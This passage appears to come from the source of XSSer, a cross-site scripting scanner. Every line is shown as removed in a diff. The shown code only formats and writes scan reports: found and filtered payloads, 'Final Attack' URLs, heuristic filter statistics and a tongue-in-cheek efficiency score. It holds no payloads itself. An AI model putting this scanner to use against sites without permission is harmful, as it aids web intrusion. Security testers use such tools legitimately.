- fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
- fout.write("="*75 + "\n\n")
- elif line[1] == "[Heuristic test]":
- if len(self.hash_found) < 11:
- if line[4]:
- self.report("[+] Target:", line[6] + " | " + line[4])
- else:
- self.report("[+] Target:", line[6])
- self.report("[+] Vector: [ " + str(line[3]) + " ]")
- self.report("[!] Method:", line[2])
- self.report("[*] Payload:", line[5])
- self.report("[!] Status: NOT FILTERED!", "\n", '-'*50, "\n")
- if self.options.fileoutput:
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for line in self.hash_found:
- if line[4]:
- fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[3]) + " ]\n\n[!] Method: heuristic" + " \n\n[*] Payload: \n\n " + str(line[5]) + "\n\n[!] Status: NOT FILTERED!\n\n")
- else:
- fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[3]) + " ]\n\n[!] Method: heuristic" + " \n\n[*] Payload: \n\n " + str(line[5]) + "\n\n[!] Status: NOT FILTERED!\n\n")
- fout.write("="*75 + "\n\n")
- else:
- self.auto_found = self.auto_found + 1
- if len(self.hash_found) < 11:
- if line[4]: # when query string
- self.report("[+] Target:", line[6] + " | " + line[4])
- else:
- self.report("[+] Target:", line[6])
- self.report("[+] Vector: [ " + str(line[2]) + " ]")
- self.report("[!] Method: URL")
- self.report("[*] Hash:", line[3])
- self.report("[*] Payload:", line[0])
- self.report("[!] Vulnerable:", line[1])
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- self.report("[*] Final Attack:", attack_url)
- self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
- if self.options.fileoutput:
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for line in self.hash_found:
- if line[4]:
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
- fout.write("="*75 + "\n\n")
- if self.options.fileoutput:
- fout.close()
- if self.options.fileoutput and not self.options.filexml:
- self.report("[Info] Generating report: [ XSSreport.raw ]\n")
- self.report("-"*25+"\n")
- if self.options.fileoutput and self.options.filexml:
- self.report("[Info] Generating report: [ XSSreport.raw ] | Exporting results to: [ " + str(self.options.filexml) + " ] \n")
- self.report("-"*25+"\n")
- if len(self.hash_found) > 10 and not self.options.fileoutput: # write results fo file when large output (white magic!)
- if not self.options.filexml:
- self.report("[Info] Aborting large screen output. Generating report: [ XSSreport.raw ]\n")
- self.report("-"*25+"\n")
- fout = open("XSSreport.raw", "w") # write better than append
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for line in self.hash_found:
- if line[4]:
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
- fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
- else:
- fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
- fout.write("="*75 + "\n\n")
- fout.close()
- else:
- self.report("[Info] Exporting results to: [ " + str(self.options.filexml) + " ]\n")
- self.report("-"*25+"\n")
- # heuristic always with statistics
- if self.options.heuristic:
- heuris_semicolon_total_found = self.heuris_semicolon_found + self.heuris_une_semicolon_found + self.heuris_dec_semicolon_found
- heuris_backslash_total_found = self.heuris_backslash_found + self.heuris_une_backslash_found + self.heuris_dec_backslash_found
- heuris_slash_total_found = self.heuris_slash_found + self.heuris_une_slash_found + self.heuris_dec_slash_found
- heuris_minor_total_found = self.heuris_minor_found + self.heuris_une_minor_found + self.heuris_dec_minor_found
- heuris_mayor_total_found = self.heuris_mayor_found + self.heuris_une_mayor_found + self.heuris_dec_mayor_found
- heuris_doublecolon_total_found = self.heuris_doublecolon_found + self.heuris_une_doublecolon_found + self.heuris_dec_doublecolon_found
- heuris_colon_total_found = self.heuris_colon_found + self.heuris_une_colon_found + self.heuris_dec_colon_found
- heuris_equal_total_found = self.heuris_equal_found + self.heuris_une_equal_found + self.heuris_dec_equal_found
- total_heuris_found = heuris_semicolon_total_found + heuris_backslash_total_found + heuris_slash_total_found + heuris_minor_total_found + heuris_mayor_total_found + heuris_doublecolon_total_found + heuris_colon_total_found + heuris_equal_total_found
- total_heuris_params = total_heuris_found + self.heuris_semicolon_found + self.heuris_backslash_found + self.heuris_slash_found + self.heuris_minor_found + self.heuris_mayor_found + self.heuris_doublecolon_found + self.heuris_colon_found + self.heuris_equal_found
- total_heuris_notfound = self.heuris_semicolon_notfound + self.heuris_backslash_notfound + self.heuris_slash_notfound + self.heuris_minor_notfound + self.heuris_mayor_notfound + self.heuris_doublecolon_notfound + self.heuris_colon_notfound + self.heuris_equal_notfound
- if total_heuris_notfound > 0: # not shown when not found
- self.options.statistics = True
- # some statistics reports
- if self.options.statistics:
- # heuristic test results
- if self.options.heuristic:
- self.report("\n"+'='*75)
- self.report("[+] Heuristics:")
- self.report('='*75)
- test_time = datetime.datetime.now() - self.time
- self.report("\n" + '-'*50)
- self.report("Test Time Duration: ", test_time)
- self.report('-'*50 )
- total_connections = total_heuris_found + total_heuris_notfound
- self.report("Total fuzzed:", total_connections)
- self.report('-'*75)
- self.report(' ', " <FILTERED!>", " <NOT FILTERED!>", " =" , " ASCII", "+", "UNE/HEX", "+", "DEC")
- # semicolon results
- self.report('; ', " ", self.heuris_semicolon_notfound, " ",
- heuris_semicolon_total_found, " ",
- self.heuris_semicolon_found, " ",
- self.heuris_une_semicolon_found, " ",
- self.heuris_dec_semicolon_found)
- # backslash results
- self.report('\\ ', " ", self.heuris_backslash_notfound, " ",
- heuris_backslash_total_found, " ",
- self.heuris_backslash_found, " ",
- self.heuris_une_backslash_found, " ",
- self.heuris_dec_backslash_found)
- # slash results
- self.report("/ ", " ", self.heuris_slash_notfound, " ",
- heuris_slash_total_found, " ",
- self.heuris_slash_found, " ",
- self.heuris_une_slash_found, " ",
- self.heuris_dec_slash_found)
- # minor results
- self.report("< ", " ", self.heuris_minor_notfound, " ",
- heuris_minor_total_found, " ",
- self.heuris_minor_found, " ",
- self.heuris_une_minor_found, " ",
- self.heuris_dec_minor_found)
- # mayor results
- self.report("> ", " ", self.heuris_mayor_notfound, " ",
- heuris_mayor_total_found, " ",
- self.heuris_mayor_found, " ",
- self.heuris_une_mayor_found, " ",
- self.heuris_dec_mayor_found)
- # doublecolon results
- self.report('" ', " ", self.heuris_doublecolon_notfound, " ",
- heuris_doublecolon_total_found, " ",
- self.heuris_doublecolon_found, " ",
- self.heuris_une_doublecolon_found, " ",
- self.heuris_dec_doublecolon_found)
- # colon results
- self.report("' ", " ", self.heuris_colon_notfound, " ",
- heuris_colon_total_found, " ",
- self.heuris_colon_found, " ",
- self.heuris_une_colon_found, " ",
- self.heuris_dec_colon_found)
- # equal results
- self.report("= ", " ", self.heuris_equal_notfound, " ",
- heuris_equal_total_found, " ",
- self.heuris_equal_found, " ",
- self.heuris_une_equal_found, " ",
- self.heuris_dec_equal_found)
- self.report('-'*75)
- try:
- _accur = total_heuris_found * 100 / total_heuris_params
- except ZeroDivisionError:
- _accur = 0
- self.report('Target(s) Filtering Accur: %s %%' % _accur)
- self.report('-'*75)
- # statistics block
- if len(self.hash_found) + len(self.hash_notfound) == 0:
- pass
- if self.options.heuristic:
- pass
- else:
- self.report('='*75)
- self.report("[+] Statistics:")
- self.report('='*75)
- test_time = datetime.datetime.now() - self.time
- self.report("\n" + '-'*50)
- self.report("Test Time Duration: ", test_time)
- self.report('-'*50 )
- total_connections = self.success_connection + self.not_connection + self.forwarded_connection + self.other_connection
- self.report("Total Connections:", total_connections)
- self.report('-'*25)
- self.report("200-OK:" , self.success_connection , "|", "404:" ,
- self.not_connection , "|" , "503:" ,
- self.forwarded_connection , "|" , "Others:",
- self.other_connection)
- try:
- _accur = self.success_connection * 100 / total_connections
- except ZeroDivisionError:
- _accur = 0
- self.report("Connec: %s %%" % _accur)
- self.report('-'*50)
- total_payloads = self.check_positives + self.manual_injection + self.auto_injection + self.dcp_injection + self.dom_injection + self.xsa_injection + self.xsr_injection + self.coo_injection
- self.report("Total Payloads:", total_payloads)
- self.report('-'*25)
- self.report("Checker:", self.check_positives, "|", "Manual:",
- self.manual_injection, "|" , "Auto:" ,
- self.auto_injection ,"|", "DCP:",
- self.dcp_injection, "|", "DOM:", self.dom_injection,
- "|", "Induced:", self.httpsr_injection, "|" , "XSR:",
- self.xsr_injection, "|", "XSA:",
- self.xsa_injection , "|", "COO:",
- self.coo_injection)
- self.report('-'*50)
- self.report("Total Injections:" ,
- len(self.hash_notfound) + len(self.hash_found))
- self.report('-'*25)
- self.report("Failed:" , len(self.hash_notfound), "|",
- "Successful:" , len(self.hash_found))
- try:
- _accur = len(self.hash_found) * 100 / total_injections
- except ZeroDivisionError:
- _accur = 0
- self.report("Accur : %s %%" % _accur)
- self.report("\n" + '='*50)
- total_discovered = self.false_positives + self.manual_found + self.auto_found + self.dcp_found + self.dom_found + self.xsr_found + self.xsa_found + self.coo_found
- self.report("\n" + '-'*50)
- self.report("Total XSS Discovered:", total_discovered)
- self.report('-'*50)
- self.report("Checker:", self.false_positives, "|",
- "Manual:",self.manual_found, "|", "Auto:",
- self.auto_found, "|", "DCP:", self.dcp_found,
- "|", "DOM:", self.dom_found, "|", "Induced:",
- self.httpsr_found, "|" , "XSR:", self.xsr_found,
- "|", "XSA:", self.xsa_found, "|", "COO:",
- self.coo_found)
- self.report('-'*50)
- self.report("False positives:", self.false_positives, "|",
- "Vulnerables:",
- total_discovered - self.false_positives)
- self.report('-'*25)
- # efficiency ranking:
- # algor= vulnerables + false positives - failed * extras
- mana = 0
- if self.hash_found > 3:
- mana = mana + 4500
- if self.hash_found == 1:
- mana = mana + 500
- if self.options.reversecheck:
- mana = mana + 200
- if total_payloads > 100:
- mana = mana + 150
- if not self.options.xsser_gtk:
- mana = mana + 25
- if self.options.discode:
- mana = mana + 100
- if self.options.proxy:
- mana = mana + 100
- if self.options.threads > 9:
- mana = mana + 100
- if self.options.heuristic:
- mana = mana + 100
- if self.options.finalpayload or self.options.finalremote:
- mana = mana + 100
- if self.options.script:
- mana = mana + 100
- if self.options.Cem or self.options.Doo:
- mana = mana + 75
- if self.options.heuristic:
- mana = mana + 50
- if self.options.script and not self.options.fuzz:
- mana = mana + 25
- if self.options.followred and self.options.fli:
- mana = mana + 25
- if self.options.wizard:
- mana = mana + 25
- if self.options.dcp:
- mana = mana + 25
- if self.options.hash:
- mana = mana + 10
- mana = (len(self.hash_found) * mana) + mana -4500
- # enjoy it :)
- self.report("Mana:", mana)
- self.report("")
- c = Curl()
- if not len(self.hash_found) and self.hash_notfound:
- if self.options.hash:
- if self.options.statistics:
- self.report('='*75 + '\n')
- self.report("[Info] Target isn't replying to the input [ --hash ] sent!\n")
- else:
- if self.options.target or self.options.heuristic:
- self.report("")
- if self.options.heuristic:
- pass
- else:
- if self.options.statistics:
- self.report('='*75 + '\n')
- if self.options.fileoutput:
- fout = open("XSSreport.raw", "w") # write better than append
- fout.write("="*75)
- fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
- fout.write("="*75 + "\n\n")
- for h in self.hash_notfound:
- if h[2] == 'heuristic':
- if not h[4]:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + "\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n" + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
- elif h[2] == 'hashing check':
- if not h[4]:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + "\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n" + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
- else:
- if h[4]:
- if h[2] == "XSA":
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
- elif h[2] == "XSR":
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
- elif h[2] == "COO":
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + h[1] + "\n\n[!] Status: XSS FAILED!\n\n")
- else:
- if h[2] == "XSA":
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
- elif h[2] == "XSR":
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
- elif h[2] == "COO":
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
- else:
- fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + h[1] + "\n\n[!] Status: XSS FAILED!\n\n")
- fout.write("="*75 + "\n\n")
- fout.close()
- else:
- # some exits and info for some bad situations:
- if len(self.hash_found) + len(self.hash_notfound) == 0 and not Exception:
- self.report("\n[Error] XSSer cannot send any data... maybe -something- is blocking connection(s)!?\n")
- if len(self.hash_found) + len(self.hash_notfound) == 0 and self.options.crawling:
- if self.options.xsser_gtk:
- self.report('='*75)
- self.report("\n[Error] Not any feedback from crawler... Aborting! :(\n")
- self.report('='*75 + '\n')
- # print results to xml file
- if self.options.filexml:
- xml_report_results = xml_reporting(self)
- try:
- xml_report_results.print_xml_results(self.options.filexml)
- except:
- return
- if __name__ == "__main__":
- app = xsser()
- options = app.create_options()
- if options:
- app.set_options(options)
- app.run()
- app.land(True)
|